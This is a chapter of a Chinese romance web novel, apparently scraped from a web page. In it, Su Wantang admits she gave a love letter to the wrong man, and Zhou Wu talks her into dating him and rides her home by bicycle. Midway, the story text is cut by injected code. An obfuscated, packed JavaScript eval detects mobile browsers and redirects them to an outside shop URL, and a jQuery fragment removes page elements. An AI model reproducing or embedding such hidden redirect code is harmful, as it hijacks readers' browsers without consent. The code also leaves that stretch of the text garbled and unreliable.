黑暗中,苏晚棠哭丧着脸,蜗牛爬行般转身,张了张嘴正不知道怎么开口时,古樟树那边传来一阵声音,“好啊!你个小棠,我说今天从来这边的路上就心不在焉的,原来是准备了这么一出“惊喜”呀!”
声音听起来像是在那里站了好一会了。
况琳琳是看苏晚棠这么久都没进礼堂,担心她这才出来找她的,没想到一出来就听到这样的事,这可不是她故意偷听的啊!
苏晚棠已经麻木了,没有什么事能比送错情书还让她尬到发麻的了。
周戊捏着手里的纸,一直没有听到她的声音让他好看的眉头敛了敛。
一边的况琳琳还在继续说,“今天真是个好日子啊!徐组长处上对象了,你也处上了!”什么时候轮到她呢!
这句话让苏晚棠回过神。
黑暗中,周戊终于听到她的声音,带着点不确定,“徐组长……处对象了?”
“对啊!我也是刚刚知道的,他都把人带去咱们那片位置了,就是看着脾气不太好的样子。”
周戊捏着纸张的手紧了又放松,一直没有说话。
苏晚棠脸色复杂,她不知道怎么形容自己现在的心情,按道理她应该伤心难过的,可是她现在明明是为“他有了对象”而松了一口气,好像这样她就有理由不能再去向徐组长说什么了。
因为他有对象了,她没有理由把他划入她的目标中了。
气氛一瞬间凝滞了下来,况琳琳似乎才反应过来这个时候她好像不太适合出现在这里。
“那……你们慢慢聊,我先回去了。”说完还笑着推了把苏晚棠。
耳边是况琳琳离开的脚步声,被她这样一打搅,苏晚棠没有刚刚那么窘迫了,心里平静了许多。
黑暗中,她只能看到他挺拔的身姿,她再次庆幸自己选的这个时间。
看不到人,胆子都大了许多,“那个……我想跟你解释一下这件事。”
周戊直觉她说的估计不是他想听的,又靠近她两步,“什么,你说。”
“呃——那个,就是,周戊,这个事情我跟你说了你可能会很生气,但是我必须要说!”不解释清楚那他们就这样处上了,她会觉得浑身不对劲。
周戊又道,“你说,我听着。”
他离她很近,声音低沉,仿佛就像凑到是在耳边说的。
“就是你手里的信封我原本是想要送给徐组长的,但是刚刚天太黑了,我没看清楚是谁就塞了过来是我的不是,我向你道歉!”
“对不起。”
这件事原本也是她的不对,她应该在纸条上署名的。
对面的人没有说话,过了许久,久到苏晚棠以为他不说话了时,她听到他问,“刚刚你听到你那位同事说徐军有对象的时候你什么感觉?”
苏晚棠没想到他会这么问,一时间有些懵,“啊?什么什么感觉?”
周戊听着她声音,虽然看不清她的脸,但他已经能够想象出她此时懵懂又疑惑的表情。
他又问,“你……为什么会想到给徐军送这个?”
苏晚棠顿了顿,还是答道,“因为我年龄到了,而我又觉得徐组长刚好又合适。”
“只是觉得合适?那你喜欢他吗?”
“还行吧,反正不讨厌。”
“你为什么会觉得他合适?”不知道为什么,苏晚棠感觉他现在的语气轻松了许多,没有之前那么干巴。
“因为他是我们百货商店里唯一单身,看起来老实没有什么个人品格上的问题,工作也还不错。”
“现在还想给他这个信封吗?”
“他都有对象了,我干嘛还要给他。”苏晚棠不解道。
“那你觉得我怎么样?”
“……啊?”苏晚棠不知道怎么就跳到这方面来了,她迟疑道,“你挺好的。”
“那你觉得我合适吗?”
“合适,嗯?合适什么?”心跳有点快。
周戊直白道,“你觉得我合适做你对象吗?”
苏晚棠眨了眨眼,顿了几秒,她还是道,“不合适。”
周戊:“……”
他彻底卡了壳,“为什么不合适,我做过什么让你不适的事情吗?”他说话的同时脑子迅速运转,可惜想了半天都想不出来哪里出了问题。
从没在女同志这里花过心思的周戊第一次感觉到了挫败感。
“没有,你人挺好的,但是我们不合适。”
“都没处过你怎么就知道不合适?”
“我……”
“我觉得你不能这么片面的这样去评判我们,至少让我们相处一段时间。”
苏晚棠沉默了,她潜意识里不想拒绝,可是大脑却不断的在告诉她,他们不合适。
周戊看她沉默,再次靠近她,这次他直接抓起她的手,声音里透着愉悦,“你不说话我就当你默认了!”
她还是没有说话。
也没有反抗。
周戊低低的笑出声来,拉着她往礼堂走。
苏晚棠顺着他的力道,直到越来越靠近礼堂时,她突然停了下来。
周戊回头,柔声问她,“怎么了?”
突然有些害怕和他对视,苏晚棠低着头蚊呐似的,“我想回去了。”她现在脑子里乱糟糟的,不想看演出了。
周戊看了她这鹌鹑模样几秒,微微叹口气才道,“行,我送你回去。”说完就拉着她去了车棚的方向。
不能把她逼得太急了。
要到车棚时,周戊松开她的手,把手机的手电筒递给她,“在这里等着,我去把车推过来。”
“好。”路边的路灯没亮,路上他又把手电筒打开了。
苏晚棠站在路上拿着手电筒给他照亮,他那挺拔的身姿,矜贵的气质展露无遗,说实话,真的挺让人心动的。
苏晚棠垂眸,还有他那不知道有多高的家世。
第一次见面时,那些平时用鼻孔看人的家属院子弟们对他是恭敬又奉承。
黄毅说他很得单位领导的重视,还有那个对他唯命是从的张同志……
虽然并没有听他具体说过他的家庭,可那些无不彰显他的显贵
理智一遍又一遍的告诉她,他们不合适。
可是她真的不想拒绝。
苏晚棠吐出一口气,处一下没事的吧!
反正她才19岁,处个一年两年的不合适就分开呗,他比她还大四岁,反正到时候变得更老的是他,她也不吃亏。
“走吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674673|206520||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“哦,好。”
因为家属院里的路灯都没开,骑车不方便,出了家属院大门才骑,所以周戊推着车,苏晚棠举着手电筒并肩走在他身旁。
出了家属院后,外面路灯还有街道边从房屋里透出来的灯光把路照得很亮,苏晚棠把手电筒熄灭递给周戊。
但是他没有接,而是两手都握着二八大杠的车把,他抬起一边手臂把他的枕头露出来,示意她直接放进去。
这个动作有些亲密了,她只见过她妈妈在她爸爸的衣兜里放过东西,还有她姐姐在她姐夫衣兜里拿过东西。
明明他松开一只手就能自己放好的,可他偏偏就是要让她来。
苏晚棠看了看他,笑得还这么坏。
最后她还是不太自然的给他放到他身上那件黑色翻领外套的衣兜里,她想,这些应该就是处对象时应该习惯的。
看着她麻花辫旁那烫红的耳垂,周戊一个抬脚跨到那个目测应该快到她腰的位置的二八大杠车凳上,动作里都带着自得。
“上车。”他看向她。
后座很高,苏晚棠坐上去脚刚好晃在半空中,她两手抓着车座边缘,由于是第一次做自行车,四周都没有着落点,她整个人都有点紧张,他都还没开呢,她就总觉得这车会翻了。
等她坐好了,周戊两脚踩在脚蹬上才刚行出去两步路,就听背后女人颤着声音喊,“周,周戊,你开慢点,这车我总感觉要倒了。”然后挣扎着大有要跳车的架势。
周戊啧了一声,停了下来,脚落到地上,一手稳稳的撑住车把以免它侧歪,一手伸到身后拉着她紧紧抓住坐凳边缘的手,强势的将她的两只手围住他的腰。
十月的晚上虽有些凉意,但也还没有到穿冬衣的时候,一般都只是在外面套一件薄外套。
苏晚棠上一秒还害怕想要下车自己走,下一秒就被他引着抱住了他的腰,那一瞬间他身上的体温如火炉般烫得她下意识缩回手。
然而下一瞬,他已经又开起了车,自行车动起来的惯性使得她往后一仰,情急之下,苏晚棠有一把抱住了他的腰。
抱着他确实心安了许多,可是她还是有些别扭,所以在自行车行驶稳定之后她又想抽回手,哪只刚有点动作就被男人一只手抓住她的手掌。
“别乱动,抱紧我就没事了,再乱动,摔了我可不负责啊!”
苏晚棠默了默,收紧了抱着他腰的手臂,小声道,“知道了,你好好开车。”
按住她的那只大手收回去了。
苏晚棠坐在后座上时不时给他指路,到了离筒子楼对面那条街时,苏晚棠道,“就在这里吧。”
周戊听她的刹住车,双脚撑在地上,稳住自行车方便他下车,“你家在这里?”这看着不像是住的地方。
苏晚棠一下跳到地上,“不是啊,我家在对面。”
周戊闻言顺着看过去,对面一片筒子楼,不知道哪一栋才是她家。
“这两天单位里有点事要处理,我可能有点忙,等忙完我给你去看电影。”
苏晚棠点头,“好。”好像有点太冷漠了,她又道,“那你回去小心点。”
“我看你到了再走。”
直到她的背影消失在视线里他才踩着车离开。